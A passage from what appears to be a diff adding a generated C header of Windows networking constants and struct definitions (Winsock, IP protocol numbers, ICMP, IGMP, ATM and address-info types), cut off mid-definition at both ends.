WSA_QOS_EFLOWDESC 11026 +#define WSA_QOS_EPSFLOWSPEC 11027 +#define WSA_QOS_EPSFILTERSPEC 11028 +#define WSA_QOS_ESDMODEOBJ 11029 +#define WSA_QOS_ESHAPERATEOBJ 11030 +#define WSA_QOS_RESERVED_PETYPE 11031 +#define WSA_SECURE_HOST_NOT_FOUND 11032 +#define WSA_IPSEC_NAME_POLICY_ERROR 11033 +#define NlbwDisabled 0 +#define NlbwEnabled 1 +#define NlbwUnchanged -1 +#define RIO_EVENT_COMPLETION 1 +#define RIO_IOCP_COMPLETION 2 +#define IGMP_MAX_RESP_CODE_TYPE_NORMAL 0 +#define IGMP_MAX_RESP_CODE_TYPE_FLOAT 1 +#define ARP_REQUEST 1 +#define ARP_RESPONSE 2 +#define MSG_OOB 1 +#define MSG_PEEK 2 +#define MSG_DONTROUTE 4 +#define MSG_WAITALL 8 +#define MSG_PUSH_IMMEDIATE 32 +#define MCAST_INCLUDE 0 +#define MCAST_EXCLUDE 1 +#define FallbackIndexTcpFastopen 0 +#define FallbackIndexMax 1 +#define IP_OPT_EOL 0 +#define IP_OPT_NOP 1 +#define IP_OPT_SECURITY 130 +#define IP_OPT_LSRR 131 +#define IP_OPT_TS 68 +#define IP_OPT_RR 7 +#define IP_OPT_SSRR 137 +#define IP_OPT_SID 136 +#define IP_OPT_ROUTER_ALERT 148 +#define IP_OPT_MULTIDEST 149 +#define E_WINDOW_ADVANCE_BY_TIME 1 +#define E_WINDOW_USE_AS_DATA_CACHE 2 +#define ProviderInfoLspCategories 0 +#define ProviderInfoAudit 1 +#define NLA_NETWORK_AD_HOC 0 +#define NLA_NETWORK_MANAGED 1 +#define NLA_NETWORK_UNMANAGED 2 +#define NLA_NETWORK_UNKNOWN 3 +#define NlnsUnreachable 0 +#define NlnsIncomplete 1 +#define NlnsProbe 2 +#define NlnsDelay 3 +#define NlnsStale 4 +#define NlnsReachable 5 +#define NlnsPermanent 6 +#define NlnsMaximum 7 +#define IPPROTO_HOPOPTS 0 +#define IPPROTO_ICMP 1 +#define IPPROTO_IGMP 2 +#define IPPROTO_GGP 3 +#define IPPROTO_IPV4 4 +#define IPPROTO_ST 5 +#define IPPROTO_TCP 6 +#define IPPROTO_CBT 7 +#define IPPROTO_EGP 8 +#define IPPROTO_IGP 9 +#define IPPROTO_PUP 12 +#define IPPROTO_UDP 17 +#define IPPROTO_IDP 22 +#define IPPROTO_RDP 27 +#define IPPROTO_IPV6 41 +#define IPPROTO_ROUTING 43 +#define IPPROTO_FRAGMENT 44 +#define IPPROTO_ESP 50 +#define IPPROTO_AH 51 +#define IPPROTO_ICMPV6 58 +#define IPPROTO_NONE 59 +#define IPPROTO_DSTOPTS 60 +#define IPPROTO_ND 77 +#define IPPROTO_ICLFXBM 78 +#define IPPROTO_PIM 103 +#define IPPROTO_PGM 113 +#define IPPROTO_L2TP 115 +#define IPPROTO_SCTP 132 +#define IPPROTO_RAW 255 +#define IPPROTO_MAX 256 +#define IPPROTO_RESERVED_RAW 257 +#define IPPROTO_RESERVED_IPSEC 258 +#define IPPROTO_RESERVED_IPSECOFFLOAD 259 +#define IPPROTO_RESERVED_WNV 260 +#define IPPROTO_RESERVED_MAX 261 +#define IPPROTO_IP 0 +#define IPPROTO_RM 113 +#define NLA_INTERNET_UNKNOWN 0 +#define NLA_INTERNET_NO 1 +#define NLA_INTERNET_YES 2 +#define NlroManual 0 +#define NlroWellKnown 1 +#define NlroDHCP 2 +#define NlroRouterAdvertisement 3 +#define Nlro6to4 4 +#define NLA_RAW_DATA 0 +#define NLA_INTERFACE 1 +#define NLA_802_1X_LOCATION 2 +#define NLA_CONNECTIVITY 3 +#define NLA_ICS 4 +#define RCVALL_OFF 0 +#define RCVALL_ON 1 +#define RCVALL_SOCKETLEVELONLY 2 +#define RCVALL_IPLEVEL 3 +#define RouteProtocolOther 1 +#define RouteProtocolLocal 2 +#define RouteProtocolNetMgmt 3 +#define RouteProtocolIcmp 4 +#define RouteProtocolEgp 5 +#define RouteProtocolGgp 6 +#define RouteProtocolHello 7 +#define RouteProtocolRip 8 +#define RouteProtocolIsIs 9 +#define RouteProtocolEsIs 10 +#define RouteProtocolCisco 11 +#define RouteProtocolBbn 12 +#define RouteProtocolOspf 13 +#define RouteProtocolBgp 14 +#define RouteProtocolIdpr 15 +#define RouteProtocolEigrp 16 +#define RouteProtocolDvmrp 17 +#define RouteProtocolRpl 18 +#define RouteProtocolDhcp 19 +#define MIB_IPPROTO_OTHER 1 +#define PROTO_IP_OTHER 1 +#define MIB_IPPROTO_LOCAL 2 +#define PROTO_IP_LOCAL 2 +#define MIB_IPPROTO_NETMGMT 3 +#define PROTO_IP_NETMGMT 3 +#define MIB_IPPROTO_ICMP 4 +#define PROTO_IP_ICMP 4 +#define MIB_IPPROTO_EGP 5 +#define PROTO_IP_EGP 5 +#define MIB_IPPROTO_GGP 6 +#define PROTO_IP_GGP 6 +#define MIB_IPPROTO_HELLO 7 +#define PROTO_IP_HELLO 7 +#define MIB_IPPROTO_RIP 8 +#define PROTO_IP_RIP 8 +#define MIB_IPPROTO_IS_IS 9 +#define PROTO_IP_IS_IS 9 +#define MIB_IPPROTO_ES_IS 10 +#define PROTO_IP_ES_IS 10 +#define MIB_IPPROTO_CISCO 11 +#define PROTO_IP_CISCO 11 +#define MIB_IPPROTO_BBN 12 +#define PROTO_IP_BBN 12 +#define MIB_IPPROTO_OSPF 13 +#define PROTO_IP_OSPF 13 +#define MIB_IPPROTO_BGP 14 +#define PROTO_IP_BGP 14 +#define MIB_IPPROTO_IDPR 15 +#define PROTO_IP_IDPR 15 +#define MIB_IPPROTO_EIGRP 16 +#define PROTO_IP_EIGRP 16 +#define MIB_IPPROTO_DVMRP 17 +#define PROTO_IP_DVMRP 17 +#define MIB_IPPROTO_RPL 18 +#define PROTO_IP_RPL 18 +#define MIB_IPPROTO_DHCP 19 +#define PROTO_IP_DHCP 19 +#define MIB_IPPROTO_NT_AUTOSTATIC 10002 +#define PROTO_IP_NT_AUTOSTATIC 10002 +#define MIB_IPPROTO_NT_STATIC 10006 +#define PROTO_IP_NT_STATIC 10006 +#define MIB_IPPROTO_NT_STATIC_NON_DOD 10007 +#define PROTO_IP_NT_STATIC_NON_DOD 10007 +#define SOCKET_SECURITY_PROTOCOL_DEFAULT 0 +#define SOCKET_SECURITY_PROTOCOL_IPSEC 1 +#define SOCKET_SECURITY_PROTOCOL_IPSEC2 2 +#define SOCKET_SECURITY_PROTOCOL_INVALID 3 +#define SocketPriorityHintVeryLow 0 +#define SocketPriorityHintLow 1 +#define SocketPriorityHintNormal 2 +#define SocketMaximumPriorityHintType 3 +#define AF_INET 0x2 +#define AF_INET6 0x17 +#define AF_UNSPEC 0x0 +#define ProviderType_Application 1 +#define ProviderType_Service 2 +#define NlsoOther 0 +#define NlsoManual 1 +#define NlsoWellKnown 2 +#define NlsoDhcp 3 +#define NlsoLinkLayerAddress 4 +#define NlsoRandom 5 +#define IpSuffixOriginOther 0 +#define IpSuffixOriginManual 1 +#define IpSuffixOriginWellKnown 2 +#define IpSuffixOriginDhcp 3 +#define IpSuffixOriginLinkLayerAddress 4 +#define IpSuffixOriginRandom 5 +#define IpSuffixOriginUnchanged 16 +#define RouterDiscoveryDisabled 0 +#define RouterDiscoveryEnabled 1 +#define RouterDiscoveryDhcp 2 +#define RouterDiscoveryUnchanged -1 +#define TCP_ICW_LEVEL_DEFAULT 0 +#define TCP_ICW_LEVEL_HIGH 1 +#define TCP_ICW_LEVEL_VERY_HIGH 2 +#define TCP_ICW_LEVEL_AGGRESSIVE 3 +#define TCP_ICW_LEVEL_EXPERIMENTAL 4 +#define TCP_ICW_LEVEL_COMPAT 254 +#define TCP_ICW_LEVEL_MAX 255 +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 +#define SOCK_RAW 3 +#define SOCK_RDM 4 +#define SOCK_SEQPACKET 5 +#define SD_RECEIVE 0 +#define SD_SEND 1 +#define SD_BOTH 2 +#define ProviderLevel_None 0 +#define ProviderLevel_Secondary 1 +#define ProviderLevel_Primary 2 +#define MLD_MAX_RESP_CODE_TYPE_NORMAL 0 +#define MLD_MAX_RESP_CODE_TYPE_FLOAT 1 +#define MIT_GUID 1 +#define MIT_IF_LUID 2 +#define NetworkConnectivityCostHintUnknown 0 +#define NetworkConnectivityCostHintUnrestricted 1 +#define NetworkConnectivityCostHintFixed 2 +#define NetworkConnectivityCostHintVariable 3 +#define LinkLocalAlwaysOff 0 +#define LinkLocalDelayed 1 +#define LinkLocalAlwaysOn 2 +#define LinkLocalUnchanged -1 +#define CONTROL_CHANNEL_TRIGGER_STATUS_INVALID 0 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SOFTWARE_SLOT_ALLOCATED 1 +#define CONTROL_CHANNEL_TRIGGER_STATUS_HARDWARE_SLOT_ALLOCATED 2 +#define CONTROL_CHANNEL_TRIGGER_STATUS_POLICY_ERROR 3 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SYSTEM_ERROR 4 +#define CONTROL_CHANNEL_TRIGGER_STATUS_TRANSPORT_DISCONNECTED 5 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SERVICE_UNAVAILABLE 6 +#define IpPrefixOriginOther 0 +#define IpPrefixOriginManual 1 +#define IpPrefixOriginWellKnown 2 +#define IpPrefixOriginDhcp 3 +#define IpPrefixOriginRouterAdvertisement 4 +#define IpPrefixOriginUnchanged 16 +#define NetworkCategoryPublic 0 +#define NetworkCategoryPrivate 1 +#define NetworkCategoryDomainAuthenticated 2 +#define NetworkCategoryUnchanged -1 +#define NetworkCategoryUnknown -1 +#define TCPSTATE_CLOSED 0 +#define TCPSTATE_LISTEN 1 +#define TCPSTATE_SYN_SENT 2 +#define TCPSTATE_SYN_RCVD 3 +#define TCPSTATE_ESTABLISHED 4 +#define TCPSTATE_FIN_WAIT_1 5 +#define TCPSTATE_FIN_WAIT_2 6 +#define TCPSTATE_CLOSE_WAIT 7 +#define TCPSTATE_CLOSING 8 +#define TCPSTATE_LAST_ACK 9 +#define TCPSTATE_TIME_WAIT 10 +#define TCPSTATE_MAX 11 +#define NSP_NOTIFY_IMMEDIATELY 0 +#define NSP_NOTIFY_HWND 1 +#define NSP_NOTIFY_EVENT 2 +#define NSP_NOTIFY_PORT 3 +#define NSP_NOTIFY_APC 4 +#define POLLRDNORM 256 +#define POLLRDBAND 512 +#define POLLIN 768 +#define POLLPRI 1024 +#define POLLWRNORM 16 +#define POLLOUT 16 +#define POLLWRBAND 32 +#define POLLERR 1 +#define POLLHUP 2 +#define POLLNVAL 4 +#define ICMP4_TIME_EXCEED_TRANSIT 0 +#define ICMP4_TIME_EXCEED_REASSEMBLY 1 +#define ScopeLevelInterface 1 +#define ScopeLevelLink 2 +#define ScopeLevelSubnet 3 +#define ScopeLevelAdmin 4 +#define ScopeLevelSite 5 +#define ScopeLevelOrganization 8 +#define ScopeLevelGlobal 14 +#define ScopeLevelCount 16 +#define SYSTEM_CRITICAL_SOCKET 1 +#define NlatUnspecified 0 +#define NlatUnicast 1 +#define NlatAnycast 2 +#define NlatMulticast 3 +#define NlatBroadcast 4 +#define NlatInvalid 5 +#define ICMP4_UNREACH_NET 0 +#define ICMP4_UNREACH_HOST 1 +#define ICMP4_UNREACH_PROTOCOL 2 +#define ICMP4_UNREACH_PORT 3 +#define ICMP4_UNREACH_FRAG_NEEDED 4 +#define ICMP4_UNREACH_SOURCEROUTE_FAILED 5 +#define ICMP4_UNREACH_NET_UNKNOWN 6 +#define ICMP4_UNREACH_HOST_UNKNOWN 7 +#define ICMP4_UNREACH_ISOLATED 8 +#define ICMP4_UNREACH_NET_ADMIN 9 +#define ICMP4_UNREACH_HOST_ADMIN 10 +#define ICMP4_UNREACH_NET_TOS 11 +#define ICMP4_UNREACH_HOST_TOS 12 +#define ICMP4_UNREACH_ADMIN 13 +#define AALTYPE_5 5 +#define AALTYPE_USER 16 + +typedef struct _WINDOWS_IRDA_DEVICE_INFO { + unsigned char irdaDeviceID[4]; + unsigned char irdaDeviceName[22]; + unsigned char irdaDeviceHints1; + unsigned char irdaDeviceHints2; + unsigned char irdaCharSet; +} WINDOWS_IRDA_DEVICE_INFO; + +typedef struct _IN_PKTINFO { + void* ipi_addr; + unsigned int ipi_ifindex; +} IN_PKTINFO; + +typedef struct _SERVENT { + void* s_name; + void* s_aliases; + void* s_proto; + short s_port; +} SERVENT; + +typedef struct _SERVENT { + void* s_name; + void* s_aliases; + short s_port; + void* s_proto; +} SERVENT; + +typedef struct _RIO_CMSG_BUFFER { + unsigned int TotalLength; +} RIO_CMSG_BUFFER; + +typedef struct _SOCKADDR_ATM { + unsigned short satm_family; + void* satm_number; + void* satm_blli; + void* satm_bhli; +} SOCKADDR_ATM; + +typedef struct _RIO_CQ { + long long Value; +} RIO_CQ; + +typedef struct _Q2931_IE { + void* IEType; + unsigned int IELength; + unsigned char IE[1]; +} Q2931_IE; + +typedef struct _TCP_INITIAL_RTO_PARAMETERS { + unsigned short Rtt; + unsigned char MaxSynRetransmissions; +} TCP_INITIAL_RTO_PARAMETERS; + +typedef struct _NS_INFOA { + unsigned int dwNameSpace; + unsigned int dwNameSpaceFlags; + void* lpNameSpace; +} NS_INFOA; + +typedef struct _SERVICE_INFOW { + void* lpServiceType; + void* lpServiceName; + void* lpComment; + void* lpLocale; + void* dwDisplayHint; + unsigned int dwVersion; + unsigned int dwTime; + void* lpMachineName; + void* lpServiceAddress; + void* ServiceSpecificInfo; +} SERVICE_INFOW; + +typedef struct _IPV6_ROUTER_ADVERTISEMENT_FLAGS { + void* Anonymous; + unsigned char Value; +} IPV6_ROUTER_ADVERTISEMENT_FLAGS; + +typedef struct _ND_OPTION_MTU { + unsigned char nd_opt_mtu_type; + unsigned char nd_opt_mtu_len; + unsigned short nd_opt_mtu_reserved; + unsigned int nd_opt_mtu_mtu; +} ND_OPTION_MTU; + +typedef struct _ATM_BROADBAND_BEARER_CAPABILITY_IE { + unsigned char BearerClass; + unsigned char TrafficType; + unsigned char TimingRequirements; + unsigned char ClippingSusceptability; + unsigned char UserPlaneConnectionConfig; +} ATM_BROADBAND_BEARER_CAPABILITY_IE; + +typedef struct _WSANETWORKEVENTS { + int lNetworkEvents; + int iErrorCode[10]; +} WSANETWORKEVENTS; + +typedef struct _SOCKET_SECURITY_SETTINGS_IPSEC { + void* SecurityProtocol; + unsigned int SecurityFlags; + unsigned int IpsecFlags; + void* AuthipMMPolicyKey; + void* AuthipQMPolicyKey; + void* Reserved; + unsigned long long Reserved2; + unsigned int UserNameStringLen; + unsigned int DomainNameStringLen; + unsigned int PasswordStringLen; + unsigned short AllStrings[1]; +} SOCKET_SECURITY_SETTINGS_IPSEC; + +typedef struct _TCP_ACK_FREQUENCY_PARAMETERS { + unsigned char TcpDelayedAckFrequency; +} TCP_ACK_FREQUENCY_PARAMETERS; + +typedef struct _MLDV2_QUERY_HEADER { + void* IcmpHeader; + void* Anonymous1; + unsigned short Reserved; + void* MulticastAddress; + unsigned char _bitfield; + void* Anonymous2; + unsigned short SourceCount; +} MLDV2_QUERY_HEADER; + +typedef struct _IPX_NETNUM_DATA { + unsigned char netnum[4]; + unsigned short hopcount; + unsigned short netdelay; + int cardnum; + unsigned char router[6]; +} IPX_NETNUM_DATA; + +typedef struct _TCP_OPT_MSS { + unsigned char Kind; + unsigned char Length; + unsigned short Mss; +} TCP_OPT_MSS; + +typedef struct _DL_EI48 { + unsigned char Byte[3]; +} DL_EI48; + +typedef struct _SOCKADDR_NB { + short snb_family; + unsigned short snb_type; + unsigned char snb_name[16]; +} SOCKADDR_NB; + +typedef struct _NL_PATH_BANDWIDTH_ROD { + unsigned long long Bandwidth; + unsigned long long Instability; + BOOL BandwidthPeaked; +} NL_PATH_BANDWIDTH_ROD; + +typedef struct _WSASENDMSG { + void* lpMsg; + unsigned int dwFlags; + void* lpNumberOfBytesSent; + void* lpOverlapped; + void* lpCompletionRoutine; +} WSASENDMSG; + +typedef struct _DL_EI64 { + unsigned char Byte[5]; +} DL_EI64; + +typedef struct _ATM_BLLI { + unsigned int Layer2Protocol; + unsigned int Layer2UserSpecifiedProtocol; + unsigned int Layer3Protocol; + unsigned int Layer3UserSpecifiedProtocol; + unsigned int Layer3IPI; + unsigned char SnapID[5]; +} ATM_BLLI; + +typedef struct _SOCKADDR_TP { + unsigned short tp_family; + unsigned short tp_addr_type; + unsigned short tp_taddr_len; + unsigned short tp_tsel_len; + unsigned char tp_addr[64]; +} SOCKADDR_TP; + +typedef struct _ICMPV4_ADDRESS_MASK_MESSAGE { + void* Header; + unsigned int AddressMask; +} ICMPV4_ADDRESS_MASK_MESSAGE; + +typedef struct _IGMPV3_REPORT_HEADER { + unsigned char Type; + unsigned char Reserved; + unsigned short Checksum; + unsigned short Reserved2; + unsigned short RecordCount; +} IGMPV3_REPORT_HEADER; + +typedef struct _IPV6_FRAGMENT_HEADER { + unsigned char NextHeader; + unsigned char Reserved; + void* Anonymous; + unsigned int Id; +} IPV6_FRAGMENT_HEADER; + +typedef struct _WSANSCLASSINFOW { + void* lpszName; + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValue; +} WSANSCLASSINFOW; + +typedef struct _ICMPV4_ROUTER_ADVERT_ENTRY { + void* RouterAdvertAddr; + int PreferenceLevel; +} ICMPV4_ROUTER_ADVERT_ENTRY; + +typedef struct _RSS_SCALABILITY_INFO { + BOOL RssEnabled; +} RSS_SCALABILITY_INFO; + +typedef struct _IN6_PKTINFO_EX { + void* pkt_info; + void* scope_id; +} IN6_PKTINFO_EX; + +typedef struct _SOCKET_ADDRESS { + void* lpSockaddr; + int iSockaddrLength; +} SOCKET_ADDRESS; + +typedef struct _tcp_keepalive { + unsigned int onoff; + unsigned int keepalivetime; + unsigned int keepaliveinterval; +} tcp_keepalive; + +typedef struct _WSANAMESPACE_INFOW { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; +} WSANAMESPACE_INFOW; + +typedef struct _HOSTENT { + void* h_name; + void* h_aliases; + short h_addrtype; + short h_length; + void* h_addr_list; +} HOSTENT; + +typedef struct _IPV6_MREQ { + void* ipv6mr_multiaddr; + unsigned int ipv6mr_interface; +} IPV6_MREQ; + +typedef struct _ADDRINFOA { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_next; +} ADDRINFOA; + +typedef struct _RM_SEND_WINDOW { + unsigned int RateKbitsPerSec; + unsigned int WindowSizeInMSecs; + unsigned int WindowSizeInBytes; +} RM_SEND_WINDOW; + +typedef struct _WSACOMPLETION { + void* Type; + void* Parameters; +} WSACOMPLETION; + +typedef struct _RIORESULT { + int Status; + unsigned int BytesTransferred; + unsigned long long SocketContext; + unsigned long long RequestContext; +} RIORESULT; + +typedef struct _sockaddr_in6_old { + short sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; +} sockaddr_in6_old; + +typedef struct _SERVICE_TYPE_VALUE_ABSA { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValueName; + void* lpValue; +} SERVICE_TYPE_VALUE_ABSA; + +typedef struct _ADDRINFOEX6 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; + unsigned int ai_numservers; + void* ai_servers; + unsigned long long ai_responseflags; +} ADDRINFOEX6; + +typedef struct _IPV4_ROUTING_HEADER { + void* OptionHeader; + unsigned char Pointer; +} IPV4_ROUTING_HEADER; + +typedef struct _TIMEVAL { + int tv_sec; + int tv_usec; +} TIMEVAL; + +typedef struct _IPV6_OPTION_ROUTER_ALERT { + void* Header; + unsigned char Value[2]; +} IPV6_OPTION_ROUTER_ALERT; + +typedef struct _ND_NEIGHBOR_ADVERT_HEADER { + void* nd_na_hdr; + void* nd_na_target; +} ND_NEIGHBOR_ADVERT_HEADER; + +typedef struct _TCP_HDR { + unsigned short th_sport; + unsigned short th_dport; + unsigned int th_seq; + unsigned int th_ack; + unsigned char _bitfield; + unsigned char th_flags; + unsigned short th_win; + unsigned short th_sum; + unsigned short th_urp; +} TCP_HDR; + +typedef struct _TCP_OPT_TS { + unsigned char Kind; + unsigned char Length; + unsigned int Val; + unsigned int EcR; +} TCP_OPT_TS; + +typedef struct _GROUP_FILTER { + unsigned int gf_interface; + void* gf_group; + void* gf_fmode; + unsigned int gf_numsrc; + void* gf_slist[1]; +} GROUP_FILTER; + +typedef struct _ICMP_MESSAGE { + void* Header; + void* Data; +} ICMP_MESSAGE; + +typedef struct _sockproto { + unsigned short sp_family; + unsigned short sp_protocol; +} sockproto; + +typedef struct _ATM_CALLING_PARTY_NUMBER_IE { + void* ATM_Number; + unsigned char Presentation_Indication; + unsigned char Screening_Indicator; +} ATM_CALLING_PARTY_NUMBER_IE; + +typedef struct _NS_SERVICE_INFOW { + unsigned int dwNameSpace; + void* ServiceInfo; +} NS_SERVICE_INFOW; + +typedef struct _IGMPV3_REPORT_RECORD_HEADER { + unsigned char Type; + unsigned char AuxillaryDataLength; + unsigned short SourceCount; + void* MulticastAddress; +} IGMPV3_REPORT_RECORD_HEADER; + +typedef struct _IPV6_NEIGHBOR_ADVERTISEMENT_FLAGS { + void* Anonymous; + unsigned int Value; +} IPV6_NEIGHBOR_ADVERTISEMENT_FLAGS; + +typedef struct _RIO_BUFFERID { + long long Value; +} RIO_BUFFERID; + +typedef struct _ADDRINFOW { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_next; +} ADDRINFOW; + +typedef struct _SOCKET_SECURITY_QUERY_INFO_IPSEC2 { + void* SecurityProtocol; + unsigned int Flags; + unsigned long long PeerApplicationAccessTokenHandle; + unsigned long long PeerMachineAccessTokenHandle; + unsigned long long MmSaId; + unsigned long long QmSaId; + unsigned int NegotiationWinerr; + void* SaLookupContext; +} SOCKET_SECURITY_QUERY_INFO_IPSEC2; + +typedef struct _ADDRINFOEXA { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; +} ADDRINFOEXA; + +typedef struct _GROUP_REQ { + unsigned int gr_interface; + void* gr_group; +} GROUP_REQ; + +typedef struct _RM_RECEIVER_STATS { + unsigned long long NumODataPacketsReceived; + unsigned long long NumRDataPacketsReceived; + unsigned long long NumDuplicateDataPackets; + unsigned long long DataBytesReceived; + unsigned long long TotalBytesReceived; + unsigned long long RateKBitsPerSecOverall; + unsigned long long RateKBitsPerSecLast; + unsigned long long TrailingEdgeSeqId; + unsigned long long LeadingEdgeSeqId; + unsigned long long AverageSequencesInWindow; + unsigned long long MinSequencesInWindow; + unsigned long long MaxSequencesInWindow; + unsigned long long FirstNakSequenceNumber; + unsigned long long NumPendingNaks; + unsigned long long NumOutstandingNaks; + unsigned long long NumDataPacketsBuffered; + unsigned long long TotalSelectiveNaksSent; + unsigned long long TotalParityNaksSent; +} RM_RECEIVER_STATS; + +typedef struct _NSP_ROUTINE { + unsigned int cbSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + void* NSPCleanup; + void* NSPLookupServiceBegin; + void* NSPLookupServiceNext; + void* NSPLookupServiceEnd; + void* NSPSetService; + void* NSPInstallServiceClass; + void* NSPRemoveServiceClass; + void* NSPGetServiceClassInfo; + void* NSPIoctl; +} NSP_ROUTINE; + +typedef struct _SOCKET_SECURITY_QUERY_TEMPLATE_IPSEC2 { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTokenAccessMask; + unsigned int Flags; + unsigned int FieldMask; +} SOCKET_SECURITY_QUERY_TEMPLATE_IPSEC2; + +typedef struct _TCP_OPT_WS { + unsigned char Kind; + unsigned char Length; + unsigned char ShiftCnt; +} TCP_OPT_WS; + +typedef struct _NPI_MODULEID { + unsigned short Length; + void* Type; + void* Anonymous; +} NPI_MODULEID; + +typedef struct _IP_MREQ { + void* imr_multiaddr; + void* imr_interface; +} IP_MREQ; + +typedef struct _IPV4_HEADER { + void* Anonymous1; + void* Anonymous2; + unsigned short TotalLength; + unsigned short Identification; + void* Anonymous3; + unsigned char TimeToLive; + unsigned char Protocol; + unsigned short HeaderChecksum; + void* SourceAddress; + void* DestinationAddress; +} IPV4_HEADER; + +typedef struct _ADDRINFOEXW { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; +} ADDRINFOEXW; + +typedef struct _TRANSMIT_FILE_BUFFERS { + void* Head; + unsigned int HeadLength; + void* Tail; + unsigned int TailLength; +} TRANSMIT_FILE_BUFFERS; + +typedef struct _ICMPV4_ROUTER_SOLICIT { + void* RsHeader; +} ICMPV4_ROUTER_SOLICIT; + +typedef struct _WSC_PROVIDER_AUDIT_INFO { + unsigned int RecordSize; + void* Reserved; +} WSC_PROVIDER_AUDIT_INFO; + +typedef struct _NETRESOURCE2W { + unsigned int dwScope; + unsigned int dwType; + unsigned int dwUsage; + unsigned int dwDisplayType; + void* lpLocalName; + void* lpRemoteName; + void* lpComment; + void* ns_info; + void* ServiceType; + unsigned int dwProtocols; + void* lpiProtocols; +} NETRESOURCE2W; + +typedef struct _MLDV2_REPORT_HEADER { + void* IcmpHeader; + unsigned short Reserved; + unsigned short RecordCount; +} MLDV2_REPORT_HEADER; + +typedef struct _SERVICE_TYPE_VALUE { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + unsigned int dwValueNameOffset; + unsigned int dwValueOffset; +} SERVICE_TYPE_VALUE; + +typedef struct _ICMPV4_TIMESTAMP_MESSAGE { + void* Header; + unsigned int OriginateTimestamp; + unsigned int ReceiveTimestamp; + unsigned int TransmitTimestamp; +} ICMPV4_TIMESTAMP_MESSAGE; + +typedef struct _SOCKADDR_STORAGE_XP { + short ss_family; + unsigned char __ss_pad1[6]; + long long __ss_align; + unsigned char __ss_pad2[112]; +} SOCKADDR_STORAGE_XP; + +typedef struct _AFPROTOCOLS { + int iAddressFamily; + int iProtocol; +} AFPROTOCOLS; + +typedef struct _IN_RECVERR { + void* protocol; + unsigned int info; + unsigned char type; + unsigned char code; +} IN_RECVERR; + +typedef struct _ND_NEIGHBOR_SOLICIT_HEADER { + void* nd_ns_hdr; + void* nd_ns_target; +} ND_NEIGHBOR_SOLICIT_HEADER; + +typedef struct _ATM_TRAFFIC_DESCRIPTOR_IE { + void* Forward; + void* Backward; + BOOL BestEffort; +} ATM_TRAFFIC_DESCRIPTOR_IE; + +typedef struct _ADDRINFOEX4 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; +} ADDRINFOEX4; + +typedef struct _SOCKET_SECURITY_SETTINGS { + void* SecurityProtocol; + unsigned int SecurityFlags; +} SOCKET_SECURITY_SETTINGS; + +typedef struct _WSAEVENT { + long long Value; +} WSAEVENT; + +typedef struct _IGMPV3_QUERY_HEADER { + unsigned char Type; + void* Anonymous1; + unsigned short Checksum; + void* MulticastAddress; + unsigned char _bitfield; + void* Anonymous2; + unsigned short SourceCount; +} IGMPV3_QUERY_HEADER; + +typedef struct _WSAQUERYSET2W { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSET2W; + +typedef struct _TRANSPORT_SETTING_ID { + void* Guid; +} TRANSPORT_SETTING_ID; + +typedef struct _ATM_TRANSIT_NETWORK_SELECTION_IE { + unsigned char TypeOfNetworkId; + unsigned char NetworkIdPlan; + unsigned char NetworkIdLength; + unsigned char NetworkId[1]; +} ATM_TRANSIT_NETWORK_SELECTION_IE; + +typedef struct _WSAPOLLDATA { + int result; + unsigned int fds; + int timeout; + void* fdArray[1]; +} WSAPOLLDATA; + +typedef struct _ATM_PVC_PARAMS { + void* PvcConnectionId; + void* PvcQos; +} ATM_PVC_PARAMS; + +typedef struct _SOCKADDR_IN { + void* sin_family; + unsigned short sin_port; + void* sin_addr; + unsigned char sin_zero[8]; +} SOCKADDR_IN; + +typedef struct _WSAPROTOCOL_INFOA { + unsigned int dwServiceFlags1; + unsigned int dwServiceFlags2; + unsigned int dwServiceFlags3; + unsigned int dwServiceFlags4; + unsigned int dwProviderFlags; + void* ProviderId; + unsigned int dwCatalogEntryId; + void* ProtocolChain; + int iVersion; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + int iProtocolMaxOffset; + int iNetworkByteOrder; + int iSecurityScheme; + unsigned int dwMessageSize; + unsigned int dwProviderReserved; + unsigned char szProtocol[256]; +} WSAPROTOCOL_INFOA; + +typedef struct _SERVICE_TYPE_INFO { + unsigned int dwTypeNameOffset; + unsigned int dwValueCount; + void* Values[1]; +} 